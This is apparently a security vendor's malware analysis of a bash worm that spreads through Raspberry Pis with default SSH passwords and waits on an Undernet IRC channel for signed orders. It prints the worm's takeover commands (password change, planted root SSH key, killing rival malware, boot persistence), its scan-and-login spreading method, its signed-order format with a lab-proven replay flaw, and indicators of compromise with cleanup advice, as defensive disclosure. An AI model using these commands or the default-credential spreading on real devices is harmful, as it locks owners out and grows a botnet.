Malware analysis / IRC botnets / the Raspberry Pi worm
The Raspberry Pi worm that never died: still spreading, banned from its own channel
A bash worm that has been breaking into Raspberry Pis with their factory password since 2017 reached our decoys twice in two days, each time passed on by a Pi it had already taken. It takes the device over, locks its owner out and copies itself on, and it waits on a public IRC channel for orders signed with its author's key. That channel bans its bots the moment they connect, so nobody has steered it for years, yet it keeps growing. We ran it in a sealed lab, tried its channel exactly as a bot does and read every line. This is what it does, two flaws we proved, and how to get rid of it.
3 December 2026. This analysis first appeared in a joint paper with ezo, a new Zimbra backdoor that also takes orders over IRC. Since ezo's operators started giving orders, the two have their own pages; ezo's is here.
The short version
- It spreads by itself. It scans for SSH, logs in as
piwith one of two passwords, copies itself over and repeats. Two infected Pis passed it to us, one in Vietnam and one in Germany. - It takes the Pi over. As
rootit changes thepipassword, adds its author's SSH key, kills rival malware and starts at every boot. - An owner who is infected is locked out for good. The new
pipassword is neither of the two passwords the worm uses itself; nobody outside knows it. - It has no head. Its control channel is on Undernet, a public chat network that bans the bots the moment they connect. Nobody has ever published an order sent to it.
- Two flaws we proved in the lab: its signed orders can be replayed by anyone who sees one, and two Pis with the same system image lock each other out of the channel.
How it reached us
At 18:33 UTC on 2 December 2026, 116.105.72.149, a Viettel home address in Vietnam, logged in to our SSH decoy. Its SSH client announced itself as OpenSSH_7.9p1 Raspbian-10+deb10u2, the version shipped on Raspberry Pi OS 10. In other words, the visitor was itself an infected Raspberry Pi. The whole visit took four seconds:
# client: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2login pi / raspberry acceptedscp -t /tmp/OMkSbSGY the worm copies itself in (4,745 bytes)# a second connection, same logincd /tmp && chmod +x OMkSbSGY && bash -c ./OMkSbSGY
A second one came the next day. At 14:35:36 UTC on 3 December, 77.12.255.83, an address of Telefonica Germany, connected with OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1, tried pi with raspberryraspberry993311, was refused, tried raspberry, was let in, and copied and started the identical file in under a second. Both networks received our report automatically within six minutes of the visit.
The file is the same script others have published since 2019, byte for byte the same keys, servers and passwords. MalwareBazaar has held it since November 2025 (another researcher's entry); we sent it to YARAify for rule matching on 2 December (our submission). Antivirus vendors call the family Linux.MulDrop.14.
What it does to a Pi
The script has two halves. Run as the ordinary pi user, it uses the Pi's password-free sudo to copy itself to /opt under a random name, overwrite /etc/rc.local so it starts at boot, and reboot. After the reboot it runs as root and takes the device over:
killall bins.sh minerd node nodejs ktx-armv4l ktx-mips ... arm5 zmap kaiten perlecho "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hostsrm -rf /root/.bashrc /home/pi/.bashrcusermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1... pimkdir -p /root/.sshecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJ..." >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.conf
ktx, the old kaiten IRC bot, miners), blocks a rival's download server, gives the author a permanent way in with an SSH key, and changes the pi password. The lit line is why an infected owner is locked out: we checked the hash, and it is neither raspberry nor raspberryraspberry993311, the two passwords the worm itself tries. Nobody outside knows the new one.Then it starts its IRC bot in the background and turns to spreading. It installs zmap and sshpass, scans 100,000 random internet addresses for an open SSH port, tries pi/raspberry and pi/raspberryraspberry993311 on each one, and on success copies itself over and starts the copy, exactly as was done to us. Every victim is written to /opt/.r. Then it waits ten seconds and scans another 100,000. There is no mining code; reports that call it a miner guess from the rivals it kills.
Why IRC, in 2026?
IRC is the chat system of the early internet: a server, channels whose names start with #, and plain text lines such as JOIN #biret. Botnet authors liked it in the 2000s for the same reasons they still do: a bot that speaks IRC fits in a few dozen lines of any language, including bash; one message in a channel reaches every bot at once; and public networks cost nothing. The catch is that a public network can ban the bots. This worm lives with exactly that problem.
The IRC bot and its signed orders
The bot is about 70 lines of bash. It picks one of six public Undernet servers (ix1, ix2, Ashburn, Bucharest, Budapest and Chicago) and connects on port 6667. Its nickname is a plus the last eight characters of an MD5 of the system's uname -a line, and its user line is always USER user 8 * :IRC hi. On every PING from the server it answers and joins #biret.
It does not trust names. An order is a message of the form <signature>:<command>, both in base64. The bot runs the command only if the signature, opened with the author's 1024-bit RSA public key, equals the MD5 of the command:
PRIVMSG #biret :<sig>:<cmd>
openssl rsautl -verify of the signature against the key it carries, and compares the result with MD5 of the command.PRIVMSG <sender> :<output, base64>
anyone resends the same line
no nonce, no time, no sender checkthe Pi runs it again and answers the new sender
proved in our sealed labThe signature scheme stops strangers from inventing orders, but it does not stop them from repeating one. In our sealed lab, with our own key put in place of the author's, a second user resent the operator's exact line: the bot ran it again and sent the output to that second user. Anyone who ever sees one real signed order, for example in a channel log, can make every bot run it again and read the answers. We have never seen one, so this stays a weakness on paper.
The second flaw comes from the nickname. Every Pi that runs the same Raspberry Pi OS kernel build has the same uname -a line, so the same nickname. In the lab we started two copies on the same image: the second got "nickname is already in use", never registered and sat there forever. On a real network, thousands of identical Pis can have only one of their number in the channel at any moment.
Banned on sight: a botnet with no head
We checked #biret from our decoy server with a plain chat client. On 3 December the channel existed, created on 26 November 2026 at 23:40:12 UTC, with one hidden member, no topic and no channel operator. Then we connected a stand-in exactly as the bot does. Undernet refused it twice, at once:
<< NICK aeabbbb51<< USER user 8 * :IRC hi>> :dallas.tx.us.undernet.org 465 aeabbbb51 :AUTO [0] You were identified as a drone. (P540)>> ERROR :Closing Link: aeabbbb51 by dallas.tx.us.undernet.org (G-lined)# one minute later, another server, the same answer:>> :tulip.eu.ix.undernet.org 465 aeabbbb51 :AUTO [0] You were identified as a drone. (P540)
A plain test connection from the same address minutes earlier had been let in, so it was the bot's own sign-on that was recognised. In our reading Undernet's automatic defences know this worm's fixed USER user 8 * :IRC hi line and nickname pattern and ban ("G-line") the address on sight. That fits earlier reports: a Bucharest university honeypot saw a captured Pi that "never joined" in 2025, and Linux Magazine found the channel disabled in 2019. We switched our stand-in off after the second ban and did not try to get around it. Undernet is a volunteer network doing the right thing, and we do not report it or list it as a control server.
So the botnet has no head. Its bots cannot reach their channel, and nobody has ever published an order sent to it. But spreading never depended on the channel. Every infected Pi keeps scanning and logging in by itself, which is how two of them reached us nine years after the worm appeared. It is a zombie: it grows, and it has nobody to obey. To stop it, infected Pis have to be cleaned or their owners have to change the factory password; bans on Undernet cannot do it.
Who sits in #biret: our guesses
- The channel was recreated a week before we looked. On Undernet an unregistered channel disappears when its last member leaves. Someone joined
#bireton 26 November 2026 and stayed, hidden. That could be the author or someone who inherited the key, a researcher watching for bots (as we were), or another bot. - The author is probably long gone. The kill list targets malware of 2016 and 2017, the code has not changed in nine years, and no order has ever been seen. If the private key still exists, it is the only thing that could wake this botnet, and only from a network that does not ban its bots.
- Why it survives. Raspberry Pi OS stopped shipping the default
pi/raspberryaccount in April 2022. Every Pi still running an older image with SSH switched on is a target, and each one that falls joins the scanning. The+rpt1in the second visitor's SSH version is a Raspberry Pi build of Raspberry Pi OS 10, which fits.
Updates
- 3 December 2026, 14:35 UTC: a second infected Pi, at Telefonica Germany, passed us the identical file. Reported to its network automatically at 14:40 UTC.
- 3 December 2026: first published, together with
ezo. No orders seen.
If you have a Raspberry Pi
- Change the
pipassword or remove that account, and do not expose SSH to the internet with password logins. - Look for the signs: a file
/opt/.r(its list of victims) or/tmp/.s;/etc/rc.localstarting something in/optwith an eight-letter random name;bins.deutschland-zahlung.euin/etc/hosts; an unknown key in/root/.ssh/authorized_keys;zmaporsshpassinstalled; connections to Undernet on port 6667. - If you find it, reinstall. Your password has been changed to one nobody knows and someone else holds a root key; there is nothing worth saving in that installation.
You can also block the addresses that attack our decoys with our free firewall feed, or check your own systems against everything we have seen with the Threat Analysis Toolkit.
What is new, and what is not
This worm is well documented: by Linux Magazine in 2019, the SANS Internet Storm Center in 2022 and 2026, and the CyberCloud lab of Politehnica Bucharest in 2025. What we did not find anywhere:
- the replay flaw and the nickname collision, proved in a lab;
- the fact that the new
pipassword is neither of the worm's own two; - live proof that Undernet bans the worm's bots at sign-on, which explains why the botnet has no head.
We searched before writing this. A report we could not reach may still cover some of it.
What we reported
- The infected Pis' networks: Viettel, about
116.105.72.149, on 2 December 2026, and Telefonica Germany, about77.12.255.83, on 3 December 2026 (our reference AR-PJU5KVSW), both automatically, within six minutes of the visit. - YARAify: the script, on 2 December 2026, linked above.
- Not reported: the Undernet servers, which are a public chat network banning these bots.
Indicators
Free to use, with or without credit.
| What | Value |
|---|---|
| SHA-256 | 6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b |
| IRC | Undernet, port 6667, channel #biret, USER user 8 * :IRC hi, nickname a + 8 hex |
| Passwords it tries | pi / raspberry, pi / raspberryraspberry993311 |
| Author's SSH key | RSA 2048, SHA256:8meXGfVBn7ruOmYMlZbuM8jqM42qeI9EYaDkFmSQX1Q |
| Order key | RSA 1024, modulus starting BF8A14DED832E61B, e = 65537 |
| New pi password hash | $6$vGkGPKUr$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 |
| On the host | /opt/.r, /tmp/.s, /tmp/public.pem, /etc/rc.local starting /opt/<8 random>, 127.0.0.1 bins.deutschland-zahlung.eu in /etc/hosts |
| Infected Pis seen | 116.105.72.149 (SSH client OpenSSH_7.9p1 Raspbian-10+deb10u2), 77.12.255.83 (OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1, HASSH ec7378c1a92f5a8dde7e8b7a1ddf33d1) |
How we know
The file came from our own decoy and was kept in quarantine. We read it line by line and ran it only in a sealed lab: a container with no network, the bot pointed at a pretend IRC server of ours, and the author's key replaced by a throwaway key of ours so we could sign test orders. The check of #biret and the stand-in ran from our decoy server, never from an office network. The stand-in answered from a fixed script, never carried out anything, made two attempts and was switched off when Undernet banned it. Where this page says "in our reading", it is our interpretation of the evidence, not a fact we can prove.
ezo, the Zimbra IRC botnet All malware analyses Free firewall feed